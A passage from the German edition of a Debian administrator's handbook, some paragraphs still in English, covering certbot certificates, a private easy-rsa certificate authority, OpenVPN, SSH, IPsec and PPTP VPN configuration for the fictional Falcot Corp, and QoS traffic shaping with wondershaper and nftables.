certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

KULTUR Die Let's Encrypt Initiative

Die Let's Encrypt-Initiative ist ein gemeinsames Projekt zur Schaffung einer freien, automatisierten und offenen Zertifizierungsstelle (CA), die zum Nutzen der Öffentlichkeit betrieben wird. Sie wird von der EFF und der Linux Foundation unterstützt. Die Initiative bietet ein automatisiertes Werkzeug für den Erwerb und die Erneuerung von Zertifikaten. Dies reduziert den manuellen Aufwand, insbesondere wenn mehrere Standorte und Domänen verwaltet werden müssen. Die Zertifikate können auch für SIP-, XMPP-, WebSockets und TURN-Server verwendet werden. Die Nutzung des Dienstes erfordert die Kontrolle über die DNS-Informationen der betreffenden Domain (Domain-Validierung).

→ https://letsencrypt.org/de/how-it-works/

Wenn Sie den Server während der Zertifikatserstellung lieber laufen lassen möchten, können Sie das Webroot-Plugin verwenden, um das Zertifikat mit den Argumenten certonly und --webroot abzurufen. Sie müssten einen --webroot-path (abgekürzt -w) angeben, der die zugestellten Dateien enthalten sollte. Der Befehl sieht wie folgt aus:

# certbot certonly --webroot -w /var/www/html -d www.DOMÄNE.com -d DOMÄNE.com

Sie müssen alle Dienste neu starten, die die Zertifikate, die Sie erstellt haben, nutzen.

Die erstellten Zertifikate sind sogenannte kurzlebige Zertifikate, die 90 Tage gültig sind und daher alle drei Monate mit dem Befehl certbot renew erneuert werden müssen. Wir sollten jedoch nicht jedes Zertifikat automatisch statt manuell erneuern. Ein grundlegender Cron-Job ist durch certbot in /etc/cron.d/certbot enthalten. Um sicherzustellen, dass Zertifikate automatisch erneuert werden, können Sie certbot renew --dry-run ausführen.

10.2.2. Public-Key-Infrastrultur: easy-rsa

Es ist auch möglich, unsere eigene CA zu erstellen, wofür wir den RSA-Algorithmus verwenden werden, der in der Public-Key-Kryptografie weit verbreitet ist. Er umfasst ein "Schlüsselpaar", das aus einem privaten und einem öffentlichen Schlüssel besteht. Die beiden Schlüssel sind durch ihre mathematischen Eigenschaften derart miteinander verbunden, dass folgender Vorgang möglich ist: Eine Nachricht, die mit dem öffentlichen Schlüssel verschlüsselt wurde, kann nur von jemandem entschlüsselt werden, der den privaten Schlüssel kennt. Dies stellt Vertraulichkeit her. In umgekehrter Richtung kann eine mit dem privaten Schlüssel verschlüsselte Nachricht, von jedem entschlüsselt werden, der den öffentlichen Schlüssel kennt. Dies authentifiziert die Nachricht, da sie nur der Inhaber des privaten Schlüssels erstellt haben kann. Dies führt in Verbindung mit einer digitalen Hash-Funktion (MD5, SHA1 oder einer neueren Variante) zu einem Signaturverfahren, das auf jede Nachricht angewendet werden kann.

Da öffentliche Zertifizierungstellen Zertifikate nur gegen eine (hohe) Gebühr ausstellen, können private Zertifizierungsstellen auch innerhalb eines Unternehmens eingerichtet werden. Das easy-rsa Paket enthält Tools, die eine X.509 Zertifizierungs-Infrastruktur bereitstellen. Es besteht aus einem Satz von Skripten, die den Befehl openssl verwenden.

ALTERNATIVE GnuTLS

GnuTLS kann auch verwendet werden, um eine CA zu generieren und mit anderen Technologien rund um die TLS-, DTLS- und SSL-Protokolle umzugehen.

Das Paket gnutls-bin enthält die Befehlszeilen-Dienstprogramme. Es ist auch hilfreich, das Paket gnutls-doc zu installieren, das eine umfangreiche Dokumentation enthält.

Die Administratoren der Falcot Corp. verwenden dieses Hilfsprogramm, um die erforderlichen Zertifikate sowohl für den Server, als auch die Clients zu erstellen. Dies ermöglicht eine ähnliche Konfiguration aller Clients, da sie nur so eingerichtet werden müssen, dass sie Zertifikaten von Falcots lokaler Zertifizierungsstelle vertrauen. Für diese Stelle wird das erste Zertifikat erstellt. Hierzu erstellen Administratoren das Verzeichnis mit den benötigten Dateien für die CA an einen passenderen Ort; vorzugsweise auf einen nicht mit dem Netzwerk verbundenen Rechner um so das Risiko des Schlüsseldiebstahls zu verringern.

$ make-cadir pki-falcot $ cd pki-falcot

Sie speichern dann die erforderlichen Parameter in der Datei vars, die auskommentiert und editiert werden kann:

$ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI" #set_var EASYRSA_DN "cn_only" set_var EASYRSA_REQ_COUNTRY "FR" set_var EASYRSA_REQ_PROVINCE "Loire" set_var EASYRSA_REQ_CITY "Saint-Étienne" set_var EASYRSA_REQ_ORG "Falcot Corp" set_var EASYRSA_REQ_EMAIL "admin@falcot.com" set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 825 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_RAND_SN "yes" #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" #set_var EASYRSA_KDC_REALM "CHANGEME.EXAMPLE.COM" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $ vim vars $

Nun bereiten wir das Public-Key-Infrastrukturverzeichnis mit folgendem Befehl vor:

$ ./easyrsa init-pki init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/debian/pki-falcot/pki

Der nächste Schritt ist die Erstellung des Schlüsselpaares der CA selbst (die beiden Teile des Schlüsselpaares werden während dieses Schrittes unter pki/ca.crt und pki/private/ca.key gespeichert). Wir können die Option nopass hinzufügen, um die Eingabe eines Passworts bei jeder Verwendung des privaten Schlüssels zu vermeiden:

$ ./easyrsa build-ca nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating RSA private key, 2048 bit long modulus (2 primes) ..................+++++ ...............................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/debian/pki-falcot/pki/ca.crt

Das Zertifikat kann jetzt erstellt werden, ebenso wie die Diffie-Hellman-Parameter, die für die Serverseite einer SSL/TLS-Verbindung erforderlich sind. Sie wollen es für einen VPN-Server (siehe Abschnitt Abschnitt 10.3, „Virtual Private Network“) verwenden, der durch den DNS-Namen vpn.falcot.com identifiziert wird; dieser Name wird für die generierten Schlüsseldateien wiederverwendet (keys/vpn.falcot.com.crt für das öffentliche Zertifikat, keys/vpn.falcot.com.key für den privaten Schlüssel):

$ ./easyrsa gen-req vpn.falcot.com nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ......................................+++++ ..........................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 825 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

Der folgende Schritt erstellt Zertifikate für die VPN-Clients; für jeden Rechner oder jede Person, der das VPN nutzen darf, ist ein eigenes Zertifikat erforderlich:

$ ./easyrsa build-client-full JoeSmith nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ...................................+++++ .........................................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE' ----- Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated

10.3. Virtual Private Network

Ein Virtual Private Network (kurz VPN genannt) ermöglicht zwei verschiedene lokale Netze über das Internet mittels eines Tunnels zu verbinden. Zur Wahrung der Vertraulichkeit ist der Tunnel normalerweise verschlüsselt. VPNs werden häufig dazu benutzt, einen entfernten Rechner in ein lokales Firmennetz zu integrieren.

Etliche Hilfsprogramme bieten diese Funktionalität. OpenVPN ist eine auf SSL/TLS basierende effiziente Lösung, die einfach eingesetzt und verwaltet werden kann. Eine andere Möglichkeit, um den IP-Verkehr zwischen zwei Rechnern zu verschlüsseln, ist IPsec; diese Verschlüsselung erfolgt transparent; das heißt, dass Anwendungen das VPN nutzen können, ohne dass sie angepasst werden müssen. Auch SSH kann ein VPN bereitstellen, ebenso Microsofts PPTP-Protokoll. Es gibt noch weitere Lösungen, die aber außerhalb des Schwerpunktes dieses Buches liegen.

10.3.1. OpenVPN

OpenVPN ist eine Software zum Anlegen virtueller privater Netze. Um es einzurichten, legen Sie virtuelle Netzwerkschnittstellen auf dem VPN-Server und den Clients an. tun (für Tunnel auf IP-Ebene) und tap (für Tunnel auf Ethernet-Ebene) werden unterstützt. In der Praxis werden meistens tun-Schnittstellen verwendet, außer wenn die VPN-Clients durch eine Ethernet-Brücke in das lokale Netz des Servers integriert werden sollen.

OpenVPN nutzt OpenSSL für die gesamte SSL/TLS-Kryptographie und die damit zusammenhängenden Leistungsmerkmale (Vertraulichkeit, Authentifizierung, Integrität, Nichtabstreitbarkeit). Es kann entweder mit einem geteilten privaten Schlüssel oder mithilfe eines (auf Public-Key-Verschluesselung basierenden) X.509-Zertifikats benutzt werden. Die zweite Konfiguration ist eindeutig vorzuziehen, da sie angesichts einer wachsenden Zahl wechselnder Benutzer des VPN größere Flexibilität ermöglicht.

10.3.1.1. Konfigurieren des OpenVPN-Servers

Nachdem nun alle Zertifikate erstellt sind (folgen Sie den Anweisungen in Abschnitt 10.2.2, „Public-Key-Infrastrultur: easy-rsa“), müssen sie an die passenden Stellen kopiert werden: Der öffentliche Schlüssel des Ursprungszertifikats (pki/ca.crt) wird auf allen Rechnern (sowohl Server als auch Clients) als /etc/ssl/certs/Falcot_CA.crt gespeichert. Das Zertifikat des Servers wird nur auf dem Server installiert (pki/issued/vpn.falcot.com.crt geht nach /etc/ssl/vpn.falcot.com.crt und pki/private/vpn.falcot.com.key geht nach /etc/ssl/private/vpn.falcot.com.key mit eingeschränkten Berechtigungen, sodass nur der Administrator sie lesen kann), während die entsprechenden Diffie-Hellman-Parameter (pki/dh.pem) nach /etc/openvpn/dh.pem installiert werden. Die Client-Zertifikate werden in ähnlicher Weise auf den entsprechenden VPN-Clients installiert.

Das voreingestellte OpenVPN-Initialisierungsskript versucht alle in /etc/openvpn/*.conf festgelegten virtuellen privaten Netzwerke zu starten. Einen VPN-Server einzurichten besteht daher darin, eine entsprechende Konfigurationsdatei in diesem Verzeichnis abzuspeichern. Ein guter Ausgangspunkt ist /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, das zu einem ziemlich standardisierten Server führt. Natürlich müssen einige Parameter angepasst werden: ca, cert, key und dh müssen die ausgewählten Orte bezeichnen (jeweils /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key und /etc/openvpn/dh.pem). Die Anweisung server 10.8.0.0 255.255.255.0 bestimmt das für das VPN zu nutzende Subnetz; der Server belegt die erste IP-Adresse dieses Bereichs (10.8.0.1), während die übrigen Adressen den Clients zugeordnet werden.

Wenn OpenVPN mit dieser Konfiguration gestartet wird, so wird die Schnittstelle des virtuellen Netzwerks erstellt, gewöhnlich unter dem Namen tun0. Jedoch werden Firewalls häufig zur gleichen Zeit wie die echten Netzwerkschnittstellen konfiguriert, also vor dem Start von OpenVPN. Ein bewährtes Verfahren besteht deshalb darin, eine dauerhafte Schnittstelle für das virtuelle Netzwerk einzurichten und OpenVPN so zu konfigurieren, dass es dann diese bereits bestehende Schnittstelle benutzt. Dies macht es auch möglich, einen Namen für diese Schnittstelle auszuwählen. Zu diesem Zweck erstellt der Befehl openvpn --mktun --dev vpn --dev-type tun eine Schnittstelle des virtuellen Netzwerks namens vpn und des Typs tun; dieser Befehl kann leicht in das Konfigurationsskript der Firewall integriert werden oder in eine up-Anweisung der Datei /etc/network/interfaces oder eine udev-Regel kann ans Ende angehängt werden. Die OpenVPN-Konfigurationsdatei muss ebenfalls in entsprechender Weise mit den Anweisungen dev vpn und dev-type tun aktualisiert werden.

Ohne weitere Maßnahmen können VPN-Clients nur den Server selbst über die Adresse 10.8.0.1 erreichen. Um den Clients Zugang zum lokalen Netzwerk (192.168.0.0/24) zu gewähren, muss die Anweisung push route 192.168.0.0 255.255.255.0 zur OpenVPN-Konfiguration hinzugefügt werden, so dass VPN-Clients automatisch eine Netzwerkroute erhalten, die ihnen sagt, dass dieses Netzwerk über das VPN zu erreichen ist. Darüberhinaus müssen Rechner im lokalen Netzwerk ebenfalls darüber informiert werden, dass der Weg zum VPN über den VPN-Server verläuft (dies funktioniert automatisch, wenn der VPN-Server auf dem Gateway installiert ist). Alternativ kann der VPN-Server auch IP-Masquerading unterstützen, so dass von den VPN-Clients kommende Verbindungen so aussehen, als kämen sie stattdessen vom VPN-Server (siehe Abschnitt 10.1, „Gateway“).

10.3.1.2. Konfigurieren des OpenVPN-Clients

Das Einrichten eines OpenVPN-Clients erfordert auch das Erstellen einer Konfigurationsdatei in /etc/openvpn/. Eine Standard-Konfiguration findet sich in der Datei /usr/share/doc/openvpn/examples/sample-config-files/client.conf. Die Anweisung remote vpn.falcot.com 1194 bezeichnet die Adresse und den Port des OpenVPN-Servers; ca, cert und key müssen auch angepasst werden, so dass sie die Orte der Schlüsseldateien bezeichnen.

Falls das VPN beim Hochfahren nicht automatisch starten soll, setzen Sie die AUTOSTART-Anweisung in der Datei /etc/default/openvpn auf none. Das Starten oder Anhalten einer bestimmten VPN-Verbindung ist immer mit den Befehlen systemctl start openvpn@Name und systemctl stop openvpn@name möglich (wobei die Verbindung Name mit derjenigen übereinstimmen muss, die in /etc/openvpn/Name.conf eingetragen ist).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see Abschnitt 8.2.5, „Automatische Netzwerkkonfigurierung für mobile Benutzer“) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. Virtual Private Network mit SSH

Es gibt eigentlich zwei Methoden, um ein virtuelles privates Netzwerk mit SSH einzurichten. Der historische erfordert eine PPP-Schicht über der SSH-Verbindung. Diese Methode wird in einem HOWTO-Dokument beschrieben:

→ https://www.tldp.org/HOWTO/ppp-ssh/

Die zweite Methode ist neueren Datums und wurde mit OpenSSH 4.3 eingeführt; OpenSSH kann jetzt Schnittstellen des virtuellen Netzwerks (tun*) auf beiden Seiten einer SSH-Verbindung erstellen, und diese virtuellen Schnittstellen können genauso konfiguriert werden, als seien es reale Schnittstellen. Das Tunnelungssystem muss zuvor aktiviert werden, indem PermitTunnel in der Konfigurationsdatei des SSH-Servers (/etc/ssh/sshd_config) auf "yes" gesetzt wird. Bei der Einrichtung der SSH-Verbindung muss die Erstellung eines Tunnels ausdrücklich mit der Option -w any:any verlangt werden (any kann durch die gewünschte tun-Gerätenummer ersetzt werden). DEr Benutzer benötigt Administratorrechte auf beiden Seiten, um das Netzwerkgerät erstellen zu können (mit anderen Worten: die Verbindung muss als Root eingerichtet werden).

Beide Methoden zur Erstellung eines virtuellen privaten Netzwerks über SSH sind recht einfach. Jedoch ist das VPN, das sie bereitstellen, nicht das effizienteste; insbesondere kann es nicht gut mit hohem Datenaufkommen umgehen.

Die Erklärung ist die zweifache Anwendung des TCP-Protokolls, wenn ein TCP/IP-Stack in einer TCP/IP-Verbindung (für SSH) eingekapselt ist; einmal für die SSH-Verbindung und einmal innerhalb des Tunnels. Dies führt zu Problemen, insbesondere wegen der Änderung der Zeitüberschreitungsverzögerungen, durch die sich TCP an Netzwerkbedingungen anpasst. Die folgende Seite beschreibt das Problem genauer:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs über SSH sollten daher auf einmalige Tunnel ohne Leistungseinschränkungen beschränkt werden.

10.3.3. IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

Zuerst installieren wir das Paket libreswan. Konkret enthält die Datei /etc/ipsec.conf jedes Hosts die Parameter für IPsec-Tunnel (oder Security Associations, in der IPsec-Terminologie), mit denen sich der Host befasst. Es gibt viele Konfigurationsbeispiele in /usr/share/doc/libreswan/, aber die Online-Dokumentation von Libreswan enthält weitere Beispiele mit Erläuterungen:

→ https://libreswan.org/wiki/

Der IPsec-Dienst kann mit systemctl gesteuert werden; z.B. wird systemctl start ipsec den IPsec-Dienst starten.

Trotz seines Status als Referenz, schränkt die Komplexität der Einrichtung von IPsec seine Verwendung in der Praxis ein. Lösungen auf der Basis von OpenVPN werden im allgemeinen bevorzugt, solange die erforderlichen Tunnel weder zu zahlreich noch zu dynamisch sind.

VORSICHT IPsec und NAT

Firewalls mit NAT und IPsec funktionieren nicht gut zusammen: Da IPsec die Pakete signiert, macht jede Veränderung dieser Pakete, die die Firewall möglicherweise vornimmt, die Signatur ungültig, und die Pakete werden an ihrem Ziel zurückgewiesen. Mehrere IPsec-Anwendungen enthalten inzwischen die NAT-T-Technik (für NAT Traversal), die im Prinzip das IPsec-Paket in einem normalen UDP-Pakets einkapselt.

SICHERHEIT IPsec und Firewalls

In IPsec ist der Datenaustausch über den UDP-Port 500 für den Austausch von Schlüsseln voreingestellt (auch auf UDP-Port 4500, falls NAT-T benutzt wird). Darüberhinaus benutzen IPsec-Pakete zwei fest zugeordnete IP-Protokolle, die die Firewall durchlassen muss; der Empfang dieser Pakete basiert auf ihren Protokollnummern 50 (ESP) und 51 (AH).

10.3.4. PPTP

PPTP (für Point-to-Point Tunneling Protocol) verwendet zwei Kommunikationskanäle, einen für die Kontrolldaten und einen für die Nutzdaten; letzterer verwendet das GRE-Protokoll (Generic Routing Encapsulation). Über den Datenaustauschkanal wird dann eine Standard-PPP-Verbindung eingerichtet.

10.3.4.1. Den Client konfigurieren

Das Paket pptp-linux enthält einen leicht zu konfigurierenden PPTP-Client für Linux. Die folgenden Anweisungen sind durch die offizielle Dokumentation angeregt:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Die Falcot-Administratoren haben mehrere Dateien erstellt: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot und /etc/ppp/ip-down.d/falcot.

Beispiel 10.2. Die Datei /etc/ppp/options.pptp

# PPP options fuer eine PPTP connection lock noauth nobsdcomp nodeflate

Beispiel 10.3. Die Datei /etc/ppp/peers/falcot

# vpn.falcot.com ist der PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # die Verbindung wird dem "vpn" Benutzer zugerechnet user vpn remotename pptp # Verschluesselung wird benuetigt require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Beispiel 10.4. Die Datei /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

Beispiel 10.5. Die Datei /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

SICHERHEIT MPPE

PPTP wird mit der MPPE-Funktion abgesichert (Microsoft Point-to-Point Encryption), die in den offiziellen Debian-Kerneln als Modul vorhanden ist.

10.3.4.2. Den Server konfigurieren

VORSICHT PPTP und Firewalls

Zwischenliegende Firewalls müssen so konfiguriert sein, dass sie IP-Pakete durchlassen, die das Protokoll 47 (GRE) verwenden. Außerdem muss der Port 1723 des PPTP-Servers geöffnet sein, damit der Kommunikationskanal aufgebaut werden kann.

pptpd ist der PPTP-Server für Linux. Dessen Hauptkonfiguratiosdatei, /etc/pptpd.conf, erfordert nur sehr wenige Änderungen: localip (die lokale IP-Adresse) und remoteip (die entfernte IP-Adresse). Im folgenden Beispiel benutzt der PPTP-Server stets die Adresse 192.168.0.199, und PPTP-Clients erhalten Adressen von 192.168.0.200 bis 192.168.0.250.

Beispiel 10.6. Die Datei /etc/pptpd.conf

[..] # TAG: localip # TAG: remoteip # Specifies the local and remote IP address ranges. # # These options are ignored if delegate option is set. # # Any addresses work as long as the local machine takes care of the # routing. But if you want to use MS-Windows networking, you should # use IP addresses out of the LAN address space and use the proxyarp # option in the pppd options file, or run bcrelay. # # You can specify single IP addresses seperated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than the value of connections, # it will start at the beginning of the list and go until it # gets connections IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # # (Recommended) #localip 192.168.0.1 #remoteip 192.168.0.234-238,192.168.0.245 # or #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 localip 192.168.0.199 remoteip 192.168.0.200-250

Die PPP-Konfiguration des PPTP-Servers erfordert auch einige Änderungen in /etc/ppp/pptpd-options. Die wichtigen Parameter sind der Servername (pptp), der Domainname (falcot.com) und die IP-Adressen für DNS- und WINS-Server.

Beispiel 10.7. Die Datei /etc/ppp/pptpd-options

# Enable connection debugging facilities. # (see your syslog configuration for where pppd sends to) #debug # Name of the local system for authentication purposes # (must match the second field in /etc/ppp/chap-secrets entries) name pptpd # Optional: domain name to use for authentication ## change the domainname to your local domain domain falcot.com # Authentication ## these are reasonable defaults for WinXXXX clients ## for the security related settings auth refuse-pap refuse-chap refuse-mschap # Require the peer to authenticate itself using MS-CHAPv2 [Microsoft # Challenge Handshake Authentication Protocol, Version 2] authentication. require-mschap-v2 # Require MPPE 128-bit encryption # (note that MPPE requires the use of MSCHAP-V2 during authentication) require-mppe-128 # Network and Routing ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

Im letzten Schritt wird der vpn-Benutzer (und das dazugehörige Passwort) in der Datei /etc/ppp/chap-secrets registriert. Hier muss statt des Sterns (*) der Servername ausdrücklich angegeben werden. Außerdem identifizieren sich Windows-PPTP-Clients in der Form DOMAIN\\BENUTZER statt nur einen Benutzernamen anzugeben. Dies erklärt, warum die Datei auch den Benutzer FALCOT\\vpn erwähnt. Es ist auch möglich, individuelle IP-Adressen für Benutzer anzugeben; ein Stern in diesem Feld bedeutet, dass dynamisch adressiert werden soll.

Beispiel 10.8. Die Datei /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SICHERHEIT PPTP-Schwachstellen

Microsofts erste PPTP-Anwendung zog wegen der vielen Sicherheitslücken heftige Kritik auf sich; die meisten sind in neueren Versionen behoben worden. Die in diesem Abschnitte beschriebene Konfiguration verwendet die jüngste Version des Protokolls. Seien Sie sich jedoch bewusst, dass das Entfernen einiger Optionen (wie require-mppe-128 und require-mschap-v2) den Dienst wieder angreifbar machen würde.

10.4. Quality of Service

10.4.1. Prinzip und Mechanismus

Quality of Service (oder kurz QoS) bezeichnet eine Reihe von Techniken, die die Qualität der Dienste sicherstellen oder verbessern, die für Anwendungen bereitgestellt werden. Die populärste Technik besteht in der Einstufung des Netzverkehrs in Kategorien und der Differenzierung des Datenverkehrs nach Kategorien. Die Hauptanwendung dieses differenzierten Dienstekonzepts ist traffic shaping, das die Datenübertragungsraten für Verbindungen im Zusammenhang mit einigen Diensten oder Rechnern begrenzt, um nicht die verfügbare Bandbreite auszuschöpfen und wichtige andere Dienste auszubremsen. Traffic Shaping eignet sich besonders gut für TCP-Datenverkehr, da sich dieses Protokoll automatisch auf die verfügbare Bandbreite einstellt.

KULTUR Netzneutralität und QoS

Netzneutralität wird erreicht, wenn Internet-Dienstanbieter alle Internet-Kommunikationen gleich behandeln, d.h. ohne jegliche Zugangsbeschränkung aufgrund von Inhalt, Benutzer, Website, Zieladresse, usw.

Quality of service kann in einem Netz-neutralen Internet umgesetzt werden, aber nur, wenn die Internetanbieter keine Sondergebühr für höherwertige Dienstleistungen verlangen.

Es ist auch möglich die Prioritäten für den Datenverkehr zu ändern, wodurch Pakete interaktiver Dienste (wie ssh und telnet) oder von Diensten mit kleinen Datenblöcken bevorzugt werden.

Die Debian-Kernel enthalten die für QoS erforderlichen Funktionen und die dazugehörigen Module. Diese Module sind zahlreich, und jedes von ihnen stellt einen anderen Dienst bereit, vor allem mittels spezieller Steuerprogramme für die Warteschlangen der IP-Pakete; die große Vielfalt der Verhaltensweisen der verfügbaren Steuerprogramme deckt den gesamten Bereich möglicher Anforderungen ab.

KULTUR LARTC — Linux Advanced Routing & Traffic Control

Das HOWTO Linux Advanced Routing & Traffic Control ist das Referenzdokument, das alles zum Thema Quality of Service von Netzwerken behandelt.

→ https://www.lartc.org/howto/

10.4.2. Konfigurieren und Ausführen

QoS-Parameter werden mit dem Befehl tc gesetzt (vom Paket iproute bereitgestellt). Da diese Schnittstelle recht komplex ist, so ist die Verwendung von Programmen auf höherer Ebene empfehlenswert.

10.4.2.1. Latenzzeiten verringern: wondershaper

Die Hauptaufgabe von wondershaper (in dem Paket ähnlichen Namens) besteht darin, Latenzzeiten unabhängig von der Netzauslastung zu minimieren. Dies wird dadurch erreicht, dass der gesamte Datenverkehr auf einen Wert begrenzt wird, der gerade unterhalb des Wertes für die vollständige Auslastung der Verbindung liegt.

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

Beispiel 10.9. Änderungen in der Datei /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

WEITERE SCHRITTE Optimale Konfiguration

Die Datei /usr/share/doc/wondershaper/README.Debian.gz beschreibt recht genau die vom Paketbetreuer empfohlene Konfiguration. Insbesondere rät es dazu, die Upload- und Downloadgeschwindigkeit zu messen, um so am besten die tatsächlichen Grenzen abzuschätzen.

10.4.2.2. Standard-Konfiguration

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

Das DSCP-Feld kann durch Anwendungen, die IP-Pakete erzeugen, erstellt oder im laufenden Betrieb mit netfilter verändert werden. Die folgenden Regeln genügen, um die Ansprechbarkeit des SSH-Dienstes eines Servers zu erhöhen; beachten Sie, dass das DSCP-Feld hexadezimal gesetzt werden muss::

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Dynamisches Routing

